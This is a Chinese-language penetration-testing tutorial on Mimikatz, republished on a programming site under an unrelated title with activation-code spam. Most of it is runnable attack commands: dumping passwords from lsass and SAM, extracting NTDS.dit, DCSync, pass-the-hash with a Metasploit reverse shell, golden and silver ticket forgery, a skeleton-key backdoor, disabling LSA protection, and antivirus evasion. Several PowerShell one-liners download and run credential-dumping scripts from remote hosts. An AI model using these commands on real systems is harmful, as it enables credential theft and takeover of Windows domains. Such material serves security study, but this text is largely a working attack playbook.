什么是渗透_mitotracker deep red

什么是渗透_mitotracker deep red0x00简介Mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从lsass.exe 进程中获取当前登录系统用

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

0x00 简介

Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行。

这里放几个神器的运行姿势:九种姿势运行:Mimikatz:https://www.freebuf.com/articles/web/176796.html

借用PowerShell

#读取密码明文(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
#读取密码hash值(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

什么是渗透_mitotracker deep red

0x01 获取本地帐户密码

1.1 本地执行

下载mimikatz程序,找到自己系统对应的位数,右键以管理员身份运行:

#提升权限
privilege::debug

#抓取密码
sekurlsa::logonpasswords

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

cmd修改注册表命令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取

1.2 SAM表获取hash

#导出SAM数据
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM

0x02 Procdump+Mimikatz

当mimikatz无法在主机上运行时,可以使用微软官方发布的工具Procdump导出lsass.exe:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

将lsass.dmp下载到本地后,然后执行mimikatz:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

为了方便复制与查看,可以输出到本地文件里面:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt

0x03 读取域控中域成员Hash

3.1 域控本地读取

注:得在域控上以域管理员身份执行mimikatz

方法一:直接执行

#提升权限
privilege::debug

抓取密码
lsadump::lsa /patch

方法二:通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取:

#获取所有域用户
lsadump::dcsync /domain:test.com /all /csv

#指定获取某个用户的hash
lsadump::dcsync /domain:test.com /user:test

3.2 导出域成员Hash

域账户的用户名和hash密码以域数据库的形式存放在域控制器的 %SystemRoot%\ntds\NTDS.DIT 文件中。

这里可以借助:ntdsutil.exe,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:

#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

#加载快照
ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

#Copy文件副本
copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:

secretsdump.py -ntds.dit -system system.hive LOCAL

什么是渗透_mitotracker deep red

除了借助python,还有一个NTDSDumpEx(会被360查杀的哦):

工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases

NTDSDumpEx -d ntds.dit -o domain.txt -s system.hiv    (system.hive文件获取:reg save hklm\system system.hive)
NTDSDumpEx -d ntds.dit -o domain.txt -r               (此命令适用于在域控本地执行)

什么是渗透_mitotracker deep red
什么是渗透_mitotracker deep red

最后记得卸载删除快照:

ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
ntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

3.3 secretsdump脚本直接导出域hash

为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,简单粗暴:

python secretsdump.py rabbitmask:123456@192.168.15.181

首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功

0x04 哈希传递攻击PTH

4.1 工作组环境

当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。

#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
#使用xie用户的NTLM哈希值进行攻击
sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9

在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。

什么是渗透_mitotracker deep red

或者可以直接将该主机的C盘映射到本地的K盘。
什么是渗透_mitotracker deep red

注:只能在 mimikatz 弹出的 cmd 窗口才可以执行这些操作,注入成功后,可以使用psexec、wmic、wmiexec等实现远程执行命令。

4.2 域环境

在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值

域:xie.com
域控:WIN2008.xie.com

#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5 
#使用域用户xie的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9   

什么是渗透_mitotracker deep red

什么是渗透_mitotracker deep red

4.3 MSF进行哈希传递

有些时候,当我们获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录(哈希传递攻击)。(只能是administrator用户的LM-hash和NTLM-hash),这个利用跟工作组环境或者域环境无关。

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit 

什么是渗透_mitotracker deep red

0x05 票据传递攻击(PTT)

5.1 黄金票据

域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。

首先获取krbtgt的用户hash:

mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:

kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
#导入刚才生成的票据
kerberos::ptt test.kiribi

#导入成功后可获取域管权限
dir \\dc.abc.com\c$

5.2 白银票据

黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密,金票在使用的过程需要和域控通信

白银票据:伪造 TGS ,只能访问指定的服务,且由服务账号(通常为计算机账户)的 Hash 加密 ,银票在使用的过程不需要同域控通信

#在域控上导出 DC$ 的 HASH
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

#利用 DC$ 的 Hash制作一张 cifs 服务的白银票据
kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt

#cifs是指的文件共享服务,有了 cifs 服务权限,就可以访问域控制器的文件系统
dir \\DC.ABC.COM\C$

5.3 skeleton key

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。

#在域控上安装 skeleton key
mimikatz.exe privilege::debug "misc::skeleton"

#在域内其他机器尝试使用 skeleton key 去访问域控,添加的密码是 mimikatz
net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator

微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。

什么是渗透_mitotracker deep red

#适用系统
windows 8.1
windows server 2012 及以上

当然 mimikatz 依旧可以绕过,该功能需要导入mimidrv.sys文件,导入命令如下:

privilege::debug
!+
!processprotect /process:lsass.exe /remove 
misc::skeleton

5.4 MS14-068

当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限。如果域控服务器存在 MS14_068 漏洞,并且未打补丁,那么我们就可以利用 MS14_068 快速获得域控服务器权限。

MS14-068编号 CVE-2014-6324,补丁为 3011780 ,如果自检可在域控制器上使用命令检测。

systeminfo |find "3011780"
#为空说明该服务器存在MS14-068漏洞

操作链接:MS14-068复现(CVE-2014-6324):https://www.cnblogs.com/-mo-/p/11890539.html

0x06 其他

6.1 使用mimikatz导出chrome中的密码

详情请见:链接

6.2 隐藏功能

管理员常常会禁用一些重要程序的运行,比如cmd、regedit、taskmgr,此时不方便渗透的进一步进行,这里除了去改回原来的配置,还可以借助mimikatz的一些功能:

privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

6.3 免杀处理

Powersploit中提供的很多工具都是做过加密处理的,同时也提供了一些用来加密处理的脚本,Out-EncryptedScript就是其中之一。

首先在本地对Invoke-Mimikatz.ps1进行加密处理:

poweshell.exe Import-Module .\Out-EncryptedScript.ps1
poweshell.exe Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password 密码 -Salt 随机数
#默认生成的文件是evil.ps1

-Password   设置加密的密钥
-Salt       随机数,防止被暴力激活成功教程

将加密生成的evil.sp1脚本放在目标机上,执行如下命令:

#远程加载解密脚本
poweshell.exe 
IEX(New-Object Net.WebClient).DownloadString("http://1.1.1.32/PowerSploit/ScriptModification/Out-EncryptedScript.ps1")

[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de password salt
Invoke-Expression $decrypted
Invoke-Mimikatz

什么是渗透_mitotracker deep red

0x07 参考链接

https://3gstudent.github.io/3gstudent.github.io/
https://blog.csdn.net/dda6607/article/details/101262101
https://blog.csdn.net/qq_36119192/article/details/83057161
https://blog.csdn.net/qq_36119192/article/details/100634467

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/166508.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 【转载】5种网络IO模型

    【转载】5种网络IO模型

    2021年11月18日
    49
  • 【条形码教程】如何批量识别条形码重命名图片,条形码条码识别批量识别快递单据条码并以条码重命名的方法

    【条形码教程】如何批量识别条形码重命名图片,条形码条码识别批量识别快递单据条码并以条码重命名的方法前几天有个网友留言说如何对快递单的照片进行数字重命名 有没有高效的方式这次我们写出第二种方案 请务必看完再使用软件 以前我们写过一篇文章如何批量识别图片里的文字精准判断位置重命名方案一 批量识别图片部分区域的文字改文件名 方案二 就是如何去读取图片上的条码来进行重命名 方案如下 首先分析条形码的类型主要是 EAN 13 128 CODE128 39 等等 今天先将条形码 二维码就先放一边我们就用 Code128 的示例来说明 怎么去识别条形码中的数字 来改这个图片这里要

    2025年7月28日
    3
  • wireshark抓包分析UDP

    wireshark抓包分析UDP1 什么是 UDP 传输层有两个协议 之前讨论过的 TCP 协议和现在要说的 UDP 协议 二者互为补充 UDP 是无连接的协议 它无需经过繁琐的握手就能建立连接并且发送已封装的 IP 数据包 它能做的事情很少 而面向连接的 TCP 协议几乎可以做所有事情 特点 UDP 最大的三个特点是无连接 不可靠 快速传输 UDP 提供了无连接通信 且不对传送数据包进行可靠性保证 适合于一次传输少量数据 UDP 传输的可靠性由应用层负责 常用的 UDP 端口号有 53 DNS 69 TFTP 161 SNMP UDP 报文没有可

    2025年6月20日
    1
  • nginx与uWSGI[通俗易懂]

    nginx与uWSGI[通俗易懂]今天同事问了我一个问题,nginx和uWSGI的区别是啥?我当时答出了反向代理和静态文件,后来聊到了负载均衡,所以好好查了下两者的区别。首先来了解几个概念:WSGIWSGI的全称是WebServerGatewayInterface(Web服务器网关接口),它不是服务器、python模块、框架、API或者任何软件,只是一种描述web服务器(如nginx,uWSGI等服务器)如何与…

    2022年9月11日
    4
  • 数据库课程设计(学校运动会管理系统)[通俗易懂]

    数据库课程设计(学校运动会管理系统)[通俗易懂]这学期学习了数据库之后,到结尾写个数据库课程设计,下面这个课程设计可是我花了好长时间才写完,先供大家参考目录1需求分析…………………………………………………………4      1.1功能性需求分析……………………………………………4      1.2性能分析……………………………………………………4      1.

    2022年5月19日
    51
  • 大数据平台架构及主流技术栈

    大数据平台架构及主流技术栈互联网和移动互联网技术开启了大规模生产、分享和应用数据的大数据时代。面对如此庞大规模的数据,如何存储?如何计算?各大互联网巨头都进行了探索。Google的三篇论文GFS(2003),MapReduce(2004),Bigtable(2006)为大数据技术奠定了理论基础。随后,基于这三篇论文的开源实现Hadoop被各个互联网公司广泛使用。在此过程中,无数互联网工程师基于自己的实践,不断完善和丰富H…

    2022年5月29日
    141

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号